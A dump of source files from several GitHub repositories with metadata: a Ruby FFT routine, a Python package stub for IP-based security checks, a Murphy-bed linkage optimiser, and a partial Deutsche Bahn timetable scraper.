W(N) = exp{-2 * pi * k / N} for k in (0..N-1)\ndef wn(n)\n (0...n).map do |k|\n exp = -2.0 * Math::PI * k / n\n Complex(Math.cos(exp), Math.sin(exp))\n end\nend\n\n# reverse W(N) = exp{2 * pi * k / N} for k in (0..N-1)\ndef rwn(n)\n (0...n).map do |k|\n exp = 2.0 * Math::PI * k / n\n Complex(Math.cos(exp), Math.sin(exp))\n end\nend\n\ndef fft(seq)\n # recursion base\n return seq if seq.size <= 1\n\n # separate odd and even indexed entries\n seq_even = []\n seq_odd = []\n (0...seq.size).map do |i|\n ((i % 2 == 0) ? seq_even : seq_odd) << seq[i]\n end\n\n # recurse down\n seq_even_fft = fft(seq_even)\n seq_odd_fft = fft(seq_odd)\n\n # coefficients for seq_odd_fft\n seq_wn = wn(seq.size)\n\n n2 = seq.size / 2\n (0...seq.size).map do |i|\n if i < n2\n seq_even_fft[i] + seq_wn[i] * seq_odd_fft[i]\n else\n i -= n2\n seq_even_fft[i] - seq_wn[i] * seq_odd_fft[i]\n end\n end\nend\n\ndef ifftn(seq)\n # recursion base\n return seq if seq.size <= 1\n\n # separate odd and even indexed entries\n seq_even = []\n seq_odd = []\n (0...seq.size).map do |i|\n ((i % 2 == 0) ? seq_even : seq_odd) << seq[i]\n end\n\n # recurse down\n seq_even_ifftn = ifftn(seq_even)\n seq_odd_ifftn = ifftn(seq_odd)\n\n # coefficients for seq_odd_ifftn\n seq_wn = rwn(seq.size)\n\n n2 = seq.size / 2\n (0...seq.size).map do |i|\n if i < n2\n seq_even_ifftn[i] + seq_wn[i] * seq_odd_ifftn[i]\n else\n i -= n2\n seq_even_ifftn[i] - seq_wn[i] * seq_odd_ifftn[i]\n end\n end\nend\n\ndef ifft(seq)\n ifftn(seq).map{ |x| x / seq.size }\nend\n\ninput = [1, 1, 1, 1]\np input\np fft(input)\np ifft(fft(input))\nputs\n\ninput = [1, 2, 3, 4, 5, 6, 7, 8]\np input\np fft(input)\np ifft(fft(input))\nputs\n\ninput = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\np input\np fft(input)\np ifft(fft(input))\n" } ]
39
fvicaria/fv-sectools
https://github.com/fvicaria/fv-sectools
c02db80205f840ab7eb8357366800ef2bb8063e1
cddcd8445bf18e9e1edda2c336cff21140ad68b8
04a3d943ada2e98338d06c8e8d850350305e270b
refs/heads/main
2023-06-21T13:11:30.352388
2021-07-30T17:31:18
2021-07-30T17:31:18
391,097,204
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.673521876335144, "alphanum_fraction": 0.673521876335144, "avg_line_length": 26.785715103149414, "blob_id": "c8dc373807f623915599cac7f3eba265b6c1fcb1", "content_id": "1a0be8e6663313a6137b4004f0cac7fc8eca986f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 389, "license_type": "permissive", "max_line_length": 129, "num_lines": 14, "path": "/README.rst", "repo_name": "fvicaria/fv-sectools", "src_encoding": "UTF-8", "text": "fv-sectools\n===========\n\nWelcome to fv-sectools!\n---------------------------\nThis is a simple ip-based security api used for analysing and potentially keeping hackers away from our website or home computer.\nCheck my `website`_ for more information on the library.\nFeel free to also check my `github`_ page.\n\n\n\n\n.. _`website`: http:/www.vicaria.org\n.. _`github`: http://github.com/fvicaria\n" }, { "alpha_fraction": 0.6091703176498413, "alphanum_fraction": 0.6179039478302002, "avg_line_length": 29.53333282470703, "blob_id": "5ed500b77d20e99957f9be35aad0a302314d12e5", "content_id": "a96cd6ca957dcdc0f4f253e3a10160ace8c640aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 458, "license_type": "permissive", "max_line_length": 84, "num_lines": 15, "path": "/setup.py", "repo_name": "fvicaria/fv-sectools", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nfrom distutils.core import setup\n\nsetup(name='fv-sectools',\n description='A set of IP-based security checks for websites and applications',\n long_description=open('README.rst').read(),\n version='0.1dev',\n author='F Vicaria',\n author_email='fvicaria@hotmail.com',\n url='http://www.vicaria.org/',\n packages=['fv-sectools', ],\n\t python_requires='>=3.6',\n license='MIT License',\n platforms=['Windows']\n )\n" } ]
2
ljbelenky/murphy
https://github.com/ljbelenky/murphy
3f43398f5c0080082f4ae9cadb5edd40132bf128
6054195653b95f499a8ebbe95cf490d5b8c469b2
820f0760f9773594e659406998d79e35cdd90bbb
refs/heads/master
2020-03-31T11:28:28.968523
2020-01-03T04:32:43
2020-01-03T04:32:43
152,178,304
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6008643507957458, "alphanum_fraction": 0.6167572736740112, "avg_line_length": 40.46820831298828, "blob_id": "55d4dbfd06ce7849360018991e9b2ebf986300e3", "content_id": "53899c3bbea05aacd999cd9bb1bd1d47aa43b8e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7173, "license_type": "no_license", "max_line_length": 180, "num_lines": 173, "path": "/src/murphy.py", "repo_name": "ljbelenky/murphy", "src_encoding": "UTF-8", "text": "from math import cos, sin, tan, atan, radians\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom copy import deepcopy\nfrom Murphy.link import Link\nfrom Murphy.bedframe import Bedframe\nfrom Murphy.murphy import Murphy\nimport sys\nimport pickle\n\nclass MurphyBed():\n '''The MurphyBed Class represents a collection of Murphy objects, all of the same design, solved over the full range of angles from deployed (0) to stowed (90)'''\n def __init__(self, bed, desired_deployed_height, desired_stowed_height):\n self.bed = bed\n self.desired_deployed_height, self.desired_stowed_height = desired_deployed_height, desired_stowed_height\n self.collected_solutions = {}\n\n def solve_over_full_range(self, steps):\n for angle in np.linspace(0,90, steps):\n self.bed.bedframe.angle = angle\n self.bed.assemble()\n self.collected_solutions[angle] = deepcopy(self.bed)\n\n @property\n def murphy_error(self):\n '''murphy_error is the sum of all differences between current design and optimal design. Used to optimize fixed, positions and rigid components. \n Calculation of Murphy Error requires collected_solutions for all angles between 0 and 90'''\n deployed = self.collected_solutions[0]\n stowed = self.collected_solutions[90]\n errors = []\n\n balance = np.array([5, 7, 2, 1, 1, 1, 50, 50, 1, 1,1])\n \n # When deployed, the bed should be at desired height\n errors.append((deployed.bedframe.y+deployed.bedframe.t-self.desired_deployed_height)**2)\n \n # When deployed, the head of the bed should be close to the wall\n errors.append(deployed.bedframe.x**2)\n \n # When stowed, the bed should be flat up against the wall\n errors.append((stowed.bedframe.x-stowed.bedframe.h_headboard)**2)\n\n # When stowed, the foot of the bed should be at desired height below the window\n errors.append((stowed.bedframe.y+stowed.bedframe.l - self.desired_stowed_height)**2)\n\n # No part of the assembly should ever extend outside of the house\n left_most = 0\n for murphy in self.collected_solutions.values():\n for component in [murphy.bedframe, murphy.A, murphy.B]:\n left_most = min(left_most, component.extents['left'])\n\n errors.append(left_most**2)\n\n # when stowed, no part of the links should extend forward of the bedframe if it is above the floor\n def stowed_encroachment(link):\n if (link.extents['top'] > 0) and (link.extents['right'] > stowed.bedframe.x):\n return (link.extents['right']-stowed.bedframe.x)**2\n else: return 0\n\n errors.append(max([stowed_encroachment(link) for link in [stowed.A, stowed.B]]))\n \n # when deployed, no part of the links should extend above/forward of the bedframe\n def deployed_encroachment(link):\n if (link.extents['right'] > deployed.bedframe.x) and (link.extents['top'] > (deployed.bedframe.y+deployed.bedframe.t)):\n return (link.extents['top'] - deployed.bedframe.y+deployed.bedframe.t)**2\n else: return 0\n\n errors.append(max([deployed_encroachment(link) for link in [deployed.A, deployed.B]]))\n \n # the floor opening should not be much larger than the thickness of the beframe\n floor_opening = 0\n for murphy in self.collected_solutions.values():\n for component in [murphy.bedframe, murphy.A, murphy.B]:\n floor_opening = max(floor_opening, component.floor_opening)\n\n if floor_opening > stowed.bedframe.x:\n error = floor_opening**2\n else:\n error = 0\n errors.append(error)\n\n #the bed should be buildable\n errors.append(max([i.ikea_error for i in self.collected_solutions.values()])**2)\n\n # Link A,B Attachment point must be on the bedframe\n for i in [self.bed.A, self.bed.B]:\n x = i.attachment['x']\n y = i.attachment['y']\n if (0 < x < self.bed.bedframe.l) and (0 < y < self.bed.bedframe.t):\n errors.append(0)\n elif (0 < x < self.bed.bedframe.depth_of_headboard) and (0 < y < self.bed.bedframe.h_headboard):\n errors.append(0)\n else:\n X,Y = self.bed.bedframe.CoG\n errors.append((X-x)**2 + (Y-y)**2)\n\n errors = (np.array(errors)/balance)\n \n return errors.sum(), errors\n\ndef plot_all(murphy_bed):\n ax = plt.figure().add_subplot(111)\n for i in murphy_bed.collected_solutions.values():\n for j in [i.bedframe, i.A, i.B]:\n j.plot(ax)\n plt.show()\n\ndef cycles(n=10):\n if len(sys.argv) > 1:\n try:\n return int(sys.argv[1])\n except:\n pass \n return n\n\ndef plot():\n plt.plot(adjustments)\n plt.show()\n plt.plot(murphy_errors_history)\n plt.show()\n plot_all(murphy_bed)\n\nif __name__ == '__main__':\n angle_steps = 5\n learning_rate = -.08\n # The basic components of a bed\n bedframe = Bedframe(10,4,10, 72, 12, 8)\n A_link = Link(x=0,y=0,length=10,width=4,angle=80, color = 'r', bedframe = bedframe, attachment = (5,2))\n B_link = Link(x=20, y = -1, length = 10, width = 4, angle = 110, color ='g', bedframe = bedframe, attachment = (18,2))\n\n # A bed assembled at a single position\n assembly = Murphy(bedframe, A_link, B_link)\n\n # The complete solution of a bed from deployed to stowed\n murphy_bed = MurphyBed(assembly, 15, 40)\n # with open('murphy.pkl','rb') as f:\n # murphy_bed = pickle.load(f)\n murphy_bed.solve_over_full_range(angle_steps)\n print('Initial Murphy Error: ', murphy_bed.murphy_error[0])\n\n # initial_design = deepcopy(murphy_bed)\n\n murphy_error_history = []\n murphy_errors_history = []\n adjustments = []\n\n for i in range(cycles()):\n print('#'*20+'\\n'+str(i)+'\\n'+'#'*20)\n murphy_bed.bed = murphy_bed.collected_solutions[0]\n variable = np.random.choice(np.array(['A.x','A.y', \"A.attachment['x']\", \"A.attachment['y']\", 'A.length', 'B.x','B.y','B.length', \"B.attachment['x']\", \"B.attachment['y']\"]))\n print(variable)\n errors = []\n for step in ['+=0.5', '-=1']:\n exec('murphy_bed.bed.{variable}{step}'.format(variable = variable, step=step))\n murphy_bed.solve_over_full_range(angle_steps)\n errors.append(murphy_bed.murphy_error[0])\n partial_derivative = errors[0]-errors[1]\n adjustment = partial_derivative*learning_rate + 0.5\n exec('murphy_bed.bed.{variable}+={adjustment}'.format(variable = variable, adjustment = adjustment))\n adjustments.append(adjustment)\n murphy_bed.solve_over_full_range(angle_steps)\n print('Adjusted Murphy Error: ', murphy_bed.murphy_error[0])\n murphy_error_history.append(murphy_bed.murphy_error[0])\n murphy_errors_history.append(murphy_bed.murphy_error[1])\n\n if i%100==0:\n with open('murphy.pkl', 'wb') as f:\n pickle.dump(murphy_bed, f)\n\nwith open('murphy.pkl', 'wb') as f:\n pickle.dump(murphy_bed, f)\n\nplot()" }, { "alpha_fraction": 0.5529953837394714, "alphanum_fraction": 0.5751990079879761, "avg_line_length": 33.58695602416992, "blob_id": "33eecd1ede1e99a03d26b1e421bfa5c86bef0b85", "content_id": "9e5fe41c360930ee1eb25c629583e269c8d3ece4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4774, "license_type": "no_license", "max_line_length": 131, "num_lines": 138, "path": "/src/Murphy/bedframe.py", "repo_name": "ljbelenky/murphy", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom math import radians, sin, cos\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression as LR\n\nclass Bedframe():\n def __init__(self, x,y, thickness, length, margin, angle):\n '''Design elements'''\n self.t = thickness\n self.l = length\n self.margin = margin # the distance from the edges to the point where a link can be connected\n \n '''Current Position'''\n self.x, self.y = x,y\n '''Angle in degrees, 0 is deployed, 90 is stowed'''\n self.angle = angle\n\n @property\n def lower_foot(self):\n theta = radians(self.angle)\n return self.x + self.l*cos(theta), self.y + self.l*sin(theta)\n\n @property\n def upper_foot(self):\n theta = radians(self.angle)\n x = self.x + self.l*cos(theta) - self.t*sin(theta)\n y = self.y + self.l*sin(theta) + self.t*cos(theta)\n return x, y\n\n @property\n def lower_head(self):\n return self.x, self.y\n\n @property\n def upper_head(self):\n theta = radians(self.angle)\n x = self.x - self.t*sin(theta)\n y = self.y + self.t*cos(theta)\n return x,y \n\n @property\n def left_edge(self):\n return min(self.lower_foot[0], self.lower_head[0], self.upper_foot[0], self.upper_head[0])\n\n @property\n def right_edge(self):\n return max(self.lower_foot[0], self.lower_head[0], self.upper_foot[0], self.upper_head[0])\n\n @property\n def top(self):\n return max(self.lower_foot[1], self.lower_head[1], self.upper_foot[1], self.upper_head[1])\n\n @property\n def bottom(self):\n return min(self.lower_foot[1], self.lower_head[1], self.upper_foot[1], self.upper_head[1])\n\n def _offset_point(self, p, p1, p2, offset):\n x, y = p\n x1, y1, = p1\n x2, y2 = p2\n\n #vector1\n d1 = (((x1-x)**2 + (y1-y)**2)**.5)/offset\n v1 = (x1-x)/d1, (y1-y)/d1\n\n #vector from (x,y) to (x2,y2)\n d2 = (((x2-x)**2 + (y2-y)**2)**.5)/offset\n v2 = (x2-x)/d2, (y2-y)/d2\n\n return x + v1[0] + v2[0], y + v1[1] + v2[1]\n\n\n @property\n def head_lower_margin(self):\n return self._offset_point(self.lower_head, self.lower_foot, self.upper_head, self.margin)\n\n @property\n def head_upper_margin(self):\n return self._offset_point(self.upper_head, self.lower_head, self.upper_foot, self.margin)\n\n @property\n def foot_lower_margin(self):\n return self._offset_point(self.lower_foot, self.upper_foot, self.lower_head, self.margin)\n\n @property\n def foot_upper_margin(self):\n return self._offset_point(self.upper_foot, self.upper_head, self.lower_foot, self.margin)\n\n\n\n # @property\n # def floor_opening(self):\n # if (self.bottom >= 0) or (self.top <= 0):\n # return 0\n \n # #topside\n # if np.sign(self.upper_head[1]) == np.sign(self.upper_foot[1]):\n # topside = 0\n # else:\n # ys = np.array([[self.upper_head[1]], [self.upper_head[1]])\n # xs = np.array([[self.upper_head[0]],[self.lower_head[0]]])\n # topside = LR().fit(ys, xs).predict([[0]])[0]\n\n\n def plot(self, ax = None):\n color = 'k'\n plot_here = False\n if not ax:\n ax = plt.figure().add_subplot(111)\n ax.set_aspect('equal')\n plot_here = True\n\n xs = [self.lower_head[0], self.lower_foot[0], self.upper_foot[0], self.upper_head[0], self.lower_head[0]]\n ys = [self.lower_head[1], self.lower_foot[1], self.upper_foot[1], self.upper_head[1], self.lower_head[1]]\n ax.plot(xs, ys, color = color)\n\n bounding_xs = [self.left_edge, self.right_edge, self.right_edge, self.left_edge, self.left_edge]\n bounding_ys = [self.bottom, self.bottom, self.top, self.top, self.bottom]\n\n ax.plot(bounding_xs, bounding_ys, color = 'gray')\n\n ax.scatter(self.head_lower_margin[0], self.head_lower_margin[1])\n ax.scatter(self.head_upper_margin[0], self.head_upper_margin[1])\n ax.scatter(self.foot_upper_margin[0], self.foot_upper_margin[1])\n ax.scatter(self.foot_lower_margin[0], self.foot_lower_margin[1])\n # # ax.scatter(self.CoG[0], self.CoG[1], marker = 'X', color = color)\n # # ax.scatter(self.floor_opening, 0, marker = 'o', color = color)\n # ax.plot([self.extents['left'], self.extents['right'], self.extents['right'], self.extents['left'], self.extents['left']],\n # [self.extents['bottom'], self.extents['bottom'], self.extents['top'], self.extents['top'], self.extents['bottom']], \n # alpha = .1, color = color)\n if plot_here: plt.show()\n return ax\n\n\nif __name__ == '__main__':\n b = Bedframe(0,0, 15, 80, 2, 10)\n b.plot()\n plt.show()\n\n" }, { "alpha_fraction": 0.77734375, "alphanum_fraction": 0.80859375, "avg_line_length": 41.66666793823242, "blob_id": "ae66df4e3e13c126e57b17a7b817203eb77198e6", "content_id": "74f23d28e49d6089cd34fd23793994e90316e5b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 256, "license_type": "no_license", "max_line_length": 102, "num_lines": 6, "path": "/README.md", "repo_name": "ljbelenky/murphy", "src_encoding": "UTF-8", "text": "# How Do You Solve A Problem Like Murphy?\n## Solving a Problem with No Perfect Solution Using OOP and Reinforcement Learning in Python\n\n\n## Presentation\n<https://docs.google.com/presentation/d/1NLiaRNigi7n7KYdwnEo6iZBta2O-sX03Jto1hIWBAGM/edit?usp=sharing>\n" }, { "alpha_fraction": 0.5119943618774414, "alphanum_fraction": 0.5329256653785706, "avg_line_length": 34.72269058227539, "blob_id": "c530ca5a1c9bc838dcb5efbe0402749f1c2687a4", "content_id": "0dd9ca700355eabfcef2fd8fa90beef851d5be8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4252, "license_type": "no_license", "max_line_length": 147, "num_lines": 119, "path": "/src/Murphy/link.py", "repo_name": "ljbelenky/murphy", "src_encoding": "UTF-8", "text": "\nfrom math import sin, cos, radians, atan\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass Link():\n def __init__(self, x, y, length, width, angle, color, bedframe, attachment = None):\n self.x, self.y = x, y\n self.length, self.width = length, width\n self.angle = angle\n self.color = color\n self.bedframe = bedframe\n # Attachment point relative to the bedframe\n self.attachment = {'x':attachment[0],'y':attachment[1]}\n\n @property\n def room_attachment(self):\n # attachment point relative to the room\n if self.attachment:\n theta = radians(self.bedframe.angle)\n l = ((self.attachment['x']**2)+(self.attachment['y']**2))**0.5\n phi = atan(self.attachment['y']/self.attachment['x'])\n x = self.bedframe.x + l*cos(theta + phi)\n y = self.bedframe.y + l*sin(theta + phi) \n return {'x':x, 'y':y}\n else: return None\n\n @property\n def distal(self):\n x, y, l, theta = self.x, self.y, self.length, radians(self.angle)\n X = x + l * cos(theta)\n Y = y + l * sin(theta) \n return X,Y\n\n @property\n def edges(self):\n x,y,w, theta = self.x, self.y, self.width/2, radians(self.angle)\n X,Y = self.distal\n x0 = x - w*sin(theta)\n x1 = X - w*sin(theta)\n y0 = y + w*cos(theta)\n y1 = Y + w*cos(theta)\n\n X0 = x + w*sin(theta)\n X1 = X + w*sin(theta)\n Y0 = y - w*cos(theta)\n Y1 = Y - w*cos(theta)\n return [((x0, y0), (x1, y1)), ((X0, Y0), (X1, Y1))]\n\n @property\n def extents(self):\n left = min(self.x, self.distal[0]) - self.width/2\n right = max(self.x, self.distal[0]) + self.width/2\n top = max(self.y, self.distal[1]) + self.width/2\n bottom = min(self.y, self.distal[1]) - self.width/2\n return {'left':left, 'right':right, 'top':top, 'bottom':bottom}\n\n @property\n def floor_opening(self):\n w = r = self.width/2\n theta = radians(self.angle)\n x,y = self.x, self.y\n X,Y = self.distal\n\n if abs(self.y) < r:\n a0 = self.x + ((r**2)-(self.y)**2)**0.5\n else:\n a0 = 0\n if abs(self.distal[1]) < w:\n a1 = self.distal[0] + ((r**2)-self.distal[1]**2)**0.5\n else:\n a1 = 0\n if y * Y < 0:\n a2 = x - y*(X-x)/(Y-y) + abs(w/sin(theta))\n else: a2 = 0\n\n return max(a0,a1,a2)\n\n @property\n def CoG(self):\n return (self.x+self.distal[0])/2, (self.y+self.distal[1])/2\n\n @property\n def ikea_error(self):\n '''Ikea error is the assembly error, or the distance from the distal point of a link to its intended attachment point'''\n if self.attachment:\n fit_error = ((self.distal[0]-self.room_attachment['x'])**2+(self.distal[1]-self.room_attachment['y'])**2)\n else: fit_error = 0 \n return fit_error\n\n def plot(self, ax = None):\n plot_here = False\n if not ax:\n ax = plt.figure().add_subplot(111)\n ax.set_aspect('equal')\n plot_here = True\n \n r = self.width/2\n for edge in self.edges:\n ax.plot([edge[0][0],edge[1][0]], [edge[0][1], edge[1][1]], c = self.color)\n\n for x,y in zip([self.x,self.distal[0]], [self.y,self.distal[1]]):\n phi = np.radians(np.linspace(0,360,37))\n ax.plot(r*np.cos(phi)+x, r*np.sin(phi)+y, c = self.color )\n\n # Extents Box\n ax.plot([self.extents['left'], self.extents['right'], self.extents['right'], self.extents['left'], self.extents['left']],\n [self.extents['bottom'], self.extents['bottom'], self.extents['top'], self.extents['top'], self.extents['bottom']], \n alpha = .1, c = self.color)\n\n # Floor Opening Point\n ax.scatter(self.floor_opening, 0, c=self.color)\n\n # Attachment Point\n if self.attachment:\n ax.scatter(self.room_attachment['x'], self.room_attachment['y'], marker = 'x', c = self.color)\n ax.plot([self.distal[0], self.room_attachment['x']], [self.distal[1], self.room_attachment['y']], c = self.color, linestyle = 'dashed')\n\n if plot_here: plt.show()\n return ax\n" }, { "alpha_fraction": 0.4982190430164337, "alphanum_fraction": 0.5249332189559937, "avg_line_length": 24.511363983154297, "blob_id": "3262727f4cd65a9afc3c4da894141abe85219c59", "content_id": "b3d33f457dc44bf0ac0e88382c7aa63ba1377913", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2246, "license_type": "no_license", "max_line_length": 71, "num_lines": 88, "path": "/src/Murphy/geometric_objects.py", "repo_name": "ljbelenky/murphy", "src_encoding": "UTF-8", "text": "class Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def distance(self, other):\n if isinstance(other, Point):\n return self._distance_to_point(other)\n elif isinstance(other, LineSegment):\n return self._distance_to_line(other)\n else:\n raise Exception\n\n def _distance_to_point(self, other):\n return ((self.x-other.x)**2+(self.y-other.y)**2)**.5\n\n def _distance_to_line(self, line):\n x,y = self.x, self.y\n x1, y1 = line.point1.x, line.point1.y\n x2, y2 = line.point2.x, line.point2.y\n\n numerator = abs((y2-y1)*x-(x2-x1)*y + x2*y1 - y2*x1)\n denominator = ((y2-y1)**2 + (x2-x1)**2)**.5\n\n return numerator/denominator\n\n def __sub__(self, other):\n x = self.x - other.x\n y = self.y - other.y\n return Point(x,y)\n\n def __add__(self, other):\n x = self.x + other.x\n y = self.y + other.y\n return Point(x,y)\n\n def __isub__(self, other):\n self.x -= other.x\n self.y -= other.y\n return self\n\n def __iadd__(self, other):\n self.x += other.x\n self.y += other.y\n return self\n\n def __repr__(self):\n return f'{self.x},{self.y}'\n\n\n def is_between_lines(self, line1, line2):\n '''Yields true if the point is in the interior of the rectangle\n defined by the two parallel, flush, lines'''\n pass\n\n\nclass LineSegment:\n def __init__(self, p0, p1):\n points = list(set([p0, p1]))\n\n self.p0 = points[0]\n self.p1 = points[1]\n\n @property\n def length(self):\n return self.p0.distance(self.p1)\n\n def distance_to_point(self, point):\n return point.distance(self)\n\n def __add__(self, point):\n p0 = self.p0 + point\n p1 = self.p1 + point\n return LineSegment(p0, p1)\n\n def __sub__(self, point):\n p0 = self.p0 - point\n p1 = self.p1 - point\n return LineSegment(p0, p1)\n\n def __iadd__(self, point):\n self.p0, self.p1 = self.p0 + point, self.p1 + point\n \n def __isub__(self, point):\n self.p0, self.p1 = self.p0 - point, self.p1 - point\n\n def __repr__(self):\n return f'({self.p0})<-->({self.p1})'\n\n" }, { "alpha_fraction": 0.5721873641014099, "alphanum_fraction": 0.5857073664665222, "avg_line_length": 47.16279220581055, "blob_id": "a3157f754a197eb820fbd77e8844aad89b11b630", "content_id": "f27a57e6755958af6172b2c8c1566ac8883c2115", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2071, "license_type": "no_license", "max_line_length": 115, "num_lines": 43, "path": "/src/Murphy/murphy.py", "repo_name": "ljbelenky/murphy", "src_encoding": "UTF-8", "text": "class Murphy():\n '''The Murphy Object represents a bed assembly at a particular angle'''\n learning_rate = -.2\n threshold = .001\n def __init__(self, bedframe, A_link, B_link):\n ''' Basic structure'''\n self.bedframe = bedframe\n self.A = A_link\n self.B = B_link\n\n @property\n def ikea_error(self):\n '''The total difference between actual positions and intended positions for fixed, rigid components.'''\n return sum([component.ikea_error for component in [self.A, self.B]])\n\n def plot(self):\n ax = plt.figure().add_subplot(111)\n ax.set_aspect('equal')\n for component in [self.bedframe, self.A, self.B]:\n ax = component.plot(ax)\n ax.set_title(round(self.ikea_error,2))\n plt.show()\n\n def assemble(self, plot_here = False):\n ''' For a given structure and bed angle, adjust link angles and bed (x,y) to minimize ikea error.'''\n # loop over the following variables, making small adjustments until ikea error is minimized (ideally zero):\n # [bedframe.x, bedframe.y, A_link.angle, B_link.angle, C_link.angle]\n # Note: it is necessary to reposition C_link (x,y) to B_link.distal after B_link.angle is adjusted.\n # while True:\n for i in range(1000):\n for variable in ['A.angle', 'B.angle', 'bedframe.x', 'bedframe.y']:\n errors = []\n for step in ['+=0.5', '-=1']:\n exec('self.{variable} {step}'.format(variable = variable, step = step))\n errors.append(self.ikea_error)\n partial_derivative = errors[0]-errors[1]\n adjustment = self.learning_rate*partial_derivative + .5\n exec('self.{variable} += {adjustment}'.format(variable = variable, adjustment = adjustment))\n if (i%5000==0) and plot_here:\n self.plot()\n if self.ikea_error < 0.125: break\n # print('Assembled in {} steps with Ikea error {}'.format(i,round(self.ikea_error,3)))\n if plot_here: self.plot()\n" } ]
6
Asritha-Reddy/5TASK
https://github.com/Asritha-Reddy/5TASK
17ab502630a18b6bbf8394ed2a3f716cfab99b0d
4063ea87c1f2a5be91fc05a344b5e5e202b82f2b
1f71b4f68ee25a0064e233070ed10a4a69ead8c4
refs/heads/master
2023-09-06T05:43:52.287972
2021-04-30T02:11:08
2021-04-30T02:11:08
363,000,957
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6217712163925171, "alphanum_fraction": 0.6254612803459167, "avg_line_length": 25, "blob_id": "fea7468f934c4da482c5364296969f3586fc8831", "content_id": "99fe7ab220efaff8660e90bfb7996531fa942cc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 542, "license_type": "no_license", "max_line_length": 70, "num_lines": 20, "path": "/frequency.py", "repo_name": "Asritha-Reddy/5TASK", "src_encoding": "UTF-8", "text": "str = input(\"Enter a string: \")\r\n\r\ndef Dictionary(i):\r\n dictionary = {}\r\n for letter in i:\r\n dictionary[letter] = 1 + dictionary.get(letter, 0)\r\n return dictionary\r\n\r\n\r\ndef most_frequent(str):\r\n alphabets = [letter.lower() for letter in str if letter.isalpha()]\r\n dictionary = Dictionary(alphabets)\r\n result = []\r\n for key in dictionary:\r\n result.append((dictionary[key], key))\r\n result.sort(reverse=True)\r\n for frequency, letter in result:\r\n print (letter, frequency)\r\n\r\nmost_frequent(str)\r\n\r\n" } ]
1
chema-mengibar/tfp_dbahn
https://github.com/chema-mengibar/tfp_dbahn
b12fb0a00e8810fb430f6929145d8e007da4bde6
2043e471a44bbb51425115a7ce0e7babcd452423
e5141d8914eaf9a00de416908475cfe96a61b957
refs/heads/master
2017-12-04T20:24:41.900929
2017-06-23T20:05:24
2017-06-23T20:05:24
95,252,490
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5057711005210876, "alphanum_fraction": 0.5274126529693604, "avg_line_length": 37.26993942260742, "blob_id": "a5c8cb79ace0efe5de16542f93e02e69388998d4", "content_id": "e888bc043d3355ab0e0dfa9c606c5dc6e422d1ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6238, "license_type": "no_license", "max_line_length": 241, "num_lines": 163, "path": "/services/step_03_network/simple-main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\n\n\n\n#COM:\n# https://reiseauskunft.bahn.de/bin/bhftafel.exe/dn?ld=15082&country=DE&protocol=https:&seqnr=4&ident=fi.0865482.1497188234&rt=1&input=8000001&time=08:00&date=14.06.17&ld=15082&productsFilter=1111100000&start=1&boardType=dep&rtMode=DB-HYBRID\n\ndef getTravels( station_code , station_id_str , l_time , l_day , direction ):\n global log\n #COM:\n filtro = '1111100000'\n url = {\n \"a\": \"https://reiseauskunft.bahn.de/bin/bhftafel.exe/dn?\",\n \"b\": \"ld=15082\",\n \"c\": \"&country=DE\",\n \"d\": \"&protocol=https:\",\n \"e\": \"&seqnr=4\",\n \"f\": \"&ident=fi.0865482.1497188234&rt=1\",\n \"g\": \"&input=\" + station_code,\n \"h\": \"&time=\" + l_time + \"&date=\" + l_day + \"&ld=15082\",\n \"i\": \"&productsFilter=\" + filtro,\n \"j\": \"&start=1&boardType=\"+ direction + \"&rtMode=DB-HYBRID\"\n }\n #COM:\n compossed_url = \"\".join(url.values())\n #COM:\n rsp = requests.get( compossed_url)\n #LOG:\n log.debug( 'START_PARSE_URL' )\n #COM:\n html = rsp.text.encode(\"utf8\")\n #COM:\n soup = BeautifulSoup(html, \"html.parser\")\n travelRows = soup.findAll('tr', id=re.compile('^journeyRow_'))\n #COM:\n if len(travelRows) > 0 :\n #COM:\n for row in travelRows:\n #COM:\n if len(row.find_all(\"td\", class_=\"platform\")) > 0 :\n platform_int = row.find_all(\"td\", class_=\"platform\")[0].text.replace('\\n', '')\n else:\n platform_int = '-'\n\n #COM:\n if len( row.find_all(\"td\", class_=\"ris\") ) > 0 :\n statusActual = row.find_all(\"td\", class_=\"ris\")[0].text.replace('\\n', '')\n else:\n statusActual = ''\n\n route = row.find_all(\"td\", class_=\"route\")[0]\n rem_route = route.find(class_=\"bold\")\n #COM:\n trainInfo = {\n \"trainDate\" : 'TID-'+ str( l_day ),\n \"trainTime\" : 'TIT-'+ row.find_all(\"td\", 